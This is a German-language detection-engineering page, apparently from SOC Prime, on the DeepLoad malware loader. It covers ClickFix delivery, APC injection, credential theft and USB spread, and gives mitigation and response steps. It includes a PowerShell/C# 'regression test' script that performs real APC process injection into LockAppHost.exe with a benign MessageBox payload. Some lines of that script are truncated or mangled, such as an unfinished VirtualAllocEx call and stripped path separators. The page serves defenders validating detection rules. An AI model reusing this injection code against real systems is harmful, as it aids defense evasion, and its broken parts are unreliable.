SOC Prime Bias: Medium

25 May 2026 16:34 UTC

DeepLoad-Malware erklärt: ClickFix-Bereitstellung und Anmeldeinformationendiebstahl

Author Photo
SOC Prime Team linkedin icon Folgen
DeepLoad-Malware erklärt: ClickFix-Bereitstellung und Anmeldeinformationendiebstahl
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

DeepLoad ist ein Dateiloses Malware-Loader, das erstmals im März 2026 beobachtet wurde und sich durch eine Social-Engineering-Taktik namens ClickFix verbreitet, die Benutzer dazu verleitet, einen bösartigen PowerShell-Befehl auszuführen. Nach der Ausführung entschlüsselt der Loader seine Nutzlast im Speicher und injiziert sie in vertrauenswürdige Windows-Prozesse durch asynchrone Prozeduraufrufe. Dann setzt er einen Credential-Stealer ein, der namens filemanager.exe zusammen mit einer bösartigen Browser-Erweiterung gespeicherte Passwörter stiehlt und Tastenanschläge aufzeichnet. Die Malware kann sich auch über USB-Laufwerke verbreiten, indem zahlreiche Verknüpfungsdateien fallen gelassen werden, die die Infektionskette auf einem anderen System erneut starten.

Untersuchung

Die Forschung beschreibt den anfänglichen Befehl, der zum Abrufen des PowerShell-Loaders von einem Remote-Server verwendet wurde, die während der Ausführung angewendeten Verschleierungstechniken und die auf APC basierende Prozessinjektion in Binärdateien wie LockAppHost.exe. Es beschreibt auch die zwei separaten Komponenten für den Diebstahl von Anmeldeinformationen und die USB-basierte laterale Bewegung, die verwendet .lnk Dateien, die als übliche Software-Installer getarnt sind. Der Bericht verweist weiter auf Picus-Simulationsmodule, die verwendet werden können, um Abwehrmaßnahmen gegen dieses Verhalten zu testen.

Minderung

Verteidiger sollten die Ausführung nicht vertrauenswürdiger PowerShell-Befehle blockieren, die Erstellung verdächtiger geplanter Aufgaben und den anormalen Gebrauch von mshta.exeüberwachen und strenge Ausführungskontrollen für PowerShell-Skripte durchsetzen. Die Erkennung von APC-basierter Injektion, das Überwachen verdächtiger .lnk Dateien auf Wechseldatenträgern und die Begrenzung der Speicherung von Browseranmeldeinformationen können ebenfalls helfen, die Auswirkungen zu reduzieren. Endpoint-Schutz, der die Inspektion von Entschlüsselung und Injektionsverhalten im Speicher ermöglichen kann, wird ebenfalls empfohlen.

Antwort

Wenn DeepLoad-Aktivität entdeckt wird, isolieren Sie den betroffenen Endpoint sofort, beenden Sie verdächtige Prozesse wie filemanager.exe und alle vertrauenswürdigen Binärdateien, die Anzeichen einer Injektion zeigen, und entfernen Sie alle vom Malware erstellten geplanten Aufgaben. Setzen Sie Anmeldeinformationen für kompromittierte Konten zurück, scannen Sie Wechseldatenträger auf bösartige Verknüpfungsdateien und führen Sie eine forensische Analyse durch, um alle Persistenzmechanismen zu identifizieren. Die Erkennungsregeln sollten ebenfalls aktualisiert werden, um die beobachteten Kommandozeilen-Muster und Injektionstechniken abzudecken.

Angriffsverlauf

Simulationsexecution

Voraussetzung: Die Telemetriedaten & Baseline Pre-flight Check müssen bestanden haben.

Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der gegnerischen Technik (TTP), die gestaltet wurde, um die Erkennungsregel auszulösen. Die Befehle und Narrative MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die genaue Telemetrie zu generieren, die von der Erkennungslogik erwartet wird.

  • Angriffserzählung & Befehle:

    Der Angreifer hat ein bösartiges PowerShell-Skript (den „Loader“) geliefert, das im Kontext des angemeldeten Benutzers ausgeführt wird (Benutzerausführung – T1204). Der Loader führt die folgenden Schritte aus:

    1. Die Nutzlast vorbereiten – schreibt eine kompilierte C-Binärdatei (die „Nutzlast“) auf %TEMP%.
    2. Erstellt eine angehaltene Instanz eines vertrauenswürdigen Prozesses (LockAppHost.exe) mit CreateProcessA mit der CREATE_SUSPENDED Flag.
    3. Injizieren Sie die Nutzlast in den angehaltenen Prozess durch Aufruf von WriteProcessMemory um die Binärdatei in den Adressraum des Ziels zu kopieren.
    4. Warteschlange einer APC (QueueUserAPC) die auf den Einstiegspunkt der Nutzlast zeigt, wodurch die Nutzlast ausgeführt wird, wenn der Zielthread fortgesetzt wird.
    5. Den Thread fortsetzen, wodurch die Injektion abgeschlossen wird.

    Diese genaue Sequenz erzeugt ein einziges Prozess-Erstellungs Ereignis für LockAppHost.exe dessen Sysmon CallTrace Feld enthält die drei mit der Injektion verbundenen API-Aufrufe, die die Sigma-Regel erfüllen.

  • Regression Testskript:

    # DeepLoad APC-basierte Injektionssimulation (PowerShell + C# In-Memory-Kompilierung)
    # --------------------------------------------------------------
    # 1. Kompilieren Sie eine minimale C-Nutzlast (MessageBox) zu einer temporären EXE
    $payloadSource = @"
    #include <windows.h>
    int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow) {
        MessageBoxA(NULL, "Injected by DeepLoad", "Success", MB_OK);
        return 0;
    }
    "@
    
    $tempDir = "$env:TEMPDeepLoadDemo"
    New-Item -ItemType Directory -Force -Path $tempDir | Out-Null
    $cFile = "$tempDirpayload.c"
    $exeFile = "$tempDirpayload.exe"
    $payloadSource | Set-Content -Path $cFile -Encoding ASCII
    
    # Verwenden Sie den Visual C++-Compiler, falls verfügbar; bei Fehlschlag zu PowerShells Add-Type (erstellt eine DLL, keine EXE)
    if (Get-Command cl.exe -ErrorAction SilentlyContinue) {
        & cl.exe /nologo /O2 /MT $cFile /link /OUT:$exeFile
    } else {
        Write-Error "C-Compiler nicht gefunden – manuelle Kompilierung ist erforderlich."
        exit 1
    }
    
    # 2. Vorbereitung der Injektion
    $targetPath = "C:WindowsSystem32LockAppHost.exe"
    $STARTUPINFO = New-Object System.Diagnostics.ProcessStartInfo
    $STARTUPINFO.FileName = $targetPath
    $STARTUPINFO.Arguments = ""
    $STARTUPINFO.RedirectStandardOutput = $false
    $STARTUPINFO.UseShellExecute = $false
    $proc = New-Object System.Diagnostics.Process
    $proc.StartInfo = $STARTUPINFO
    $proc.StartInfo.CreateNoWindow = $true
    $proc.StartInfo.Verb = "runas"  # sicherstellen, dass es bei Bedarf erhöht wird
    
    # Erstellen Sie angehaltenen Prozess
    $pInfo = New-Object System.Diagnostics.ProcessStartInfo
    $pInfo.FileName = $targetPath
    $pInfo.Arguments = ""
    $pInfo.UseShellExecute = $false
    $pInfo.CreateNoWindow = $true
    
    $procStartInfo = [System.Diagnostics.ProcessStartInfo]::new()
    $procStartInfo.FileName = $targetPath
    $procStartInfo.Arguments = ""
    $procStartInfo.UseShellExecute = $false
    $procStartInfo.CreateNoWindow = $true
    
    # P/Invoke-Definitionen
    $sig = @"
    using System;
    using System.Runtime.InteropServices;
    public class Native {
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern bool CreateProcessA(
            string lpApplicationName,
            string lpCommandLine,
            IntPtr lpProcessAttributes,
            IntPtr lpThreadAttributes,
            bool bInheritHandles,
            uint dwCreationFlags,
            IntPtr lpEnvironment,
            string lpCurrentDirectory,
            ref STARTUPINFO lpStartupInfo,
            out PROCESS_INFORMATION lpProcessInformation);
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
            uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
            byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern uint QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, UIntPtr dwData);
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern uint ResumeThread(IntPtr hThread);
        public const uint CREATE_SUSPENDED = 0x00000004;
        public const uint MEM_COMMIT = 0x1000;
        public const uint PAGE_EXECUTE_READWRITE = 0x40;
        [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)]
        public struct STARTUPINFO {
            public uint cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public uint dwX;
            public uint dwY;
            public uint dwXSize;
            public uint dwYSize;
            public uint dwXCountChars;
            public uint dwYCountChars;
            public uint dwFillAttribute;
            public uint dwFlags;
            public ushort wShowWindow;
            public ushort cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }
        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_INFORMATION {
            public IntPtr hProcess;
            public IntPtr hThread;
            public uint dwProcessId;
            public uint dwThreadId;
        }
    }
    "@
    
    Add-Type $sig
    
    # Initialize structures
    $si = New-Object Native+STARTUPINFO
    $pi = New-Object Native+PROCESS_INFORMATION
    $si.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($si)
    
    # Create suspended LockAppHost
    $created = [Native]::CreateProcessA($null, $targetPath, [IntPtr]::Zero, [IntPtr]::Zero,
        $false, [Native]::CREATE_SUSPENDED, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi)
    
    if (-not $created) {
        Write-Error "CreateProcessA failed: $([System.Runtime.InteropServices.Marshal]::GetLastWin32Error())"
        exit 1
    }
    
    # Read payload binary
    $payloadBytes = [System.IO.File]::ReadAllBytes($exeFile)
    
    # Allocate memory in target
    $remoteAddr = [Native]::VirtualAllocEx($pi.hProcess, [IntPtr]::Zero, $payloadBytes.Length,
    
    if ($remoteAddr -eq [IntPtr]::Zero) {
        Write-Error "VirtualAllocEx failed."
        exit 1
    }
    
    # Write payload
    $bytesWritten = [UIntPtr]::Zero
    $writeOk = [Native]::WriteProcessMemory($pi.hProcess, $remoteAddr, $payloadBytes, $payloadBytes.Length, [ref]$bytesWritten)
    
    if (-not $writeOk) {
        Write-Error "WriteProcessMemory failed."
        exit 1
    }
    
    # Queue APC (pointing to payload entry point)
    $apcResult = [Native]::QueueUserAPC($remoteAddr, $pi.hThread, [UIntPtr]::Zero)
    
    # Resume thread to execute APC
    [Native]::ResumeThread($pi.hThread) | Out-Null
    
    Write-Host "Injection completed – payload should appear shortly."
  • Bereinigungskommandos:

    # Angehaltene LockAppHost-Instanz beenden (falls noch läuft)
    Get-Process -Name "LockAppHost" -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # Temporäre Dateien entfernen
    Remove-Item -Recurse -Force "$env:TEMPDeepLoadDemo"

Validierungsergebnisse (nach dem Lauf auszufüllen)

  • Regel ausgelöst: Ja / Nein
  • Anzahl der generierten Alerts: ___
  • False-Positive-Überprüfung: Gutartige Ausführung hat keine Alerts produziert (wie durch Validierungsanfrage bestätigt).

Empfehlungszusammenfassung

  1. Korrelation über Ereignisse hinweg – Fügen Sie eine sekundäre Regel hinzu, die nach WriteProcessMemory or QueueUserAPC Ereignissen innerhalb eines kurzen Zeitfensters eines LockAppHost.exe Erstellung beobachtet.
  2. Bildumfang erweitern – Schließen Sie andere häufig für APC-Injektionen missbrauchte vertrauenswürdige Binärdateien ein (z. B. svchost.exe, explorer.exe).
  3. Verhaltensanreicherung – Markieren Sie Prozesse, die unsignierte DLLs laden oder aus %TEMP% nach der Injektion ausführen.
  4. Evasionsminderung – Überwachen Sie die gleichen API-Aufrufe, die auf mehrere Prozesse verteilt sind, die derzeit die Bedingung für ein einzelnes Ereignis umgehen.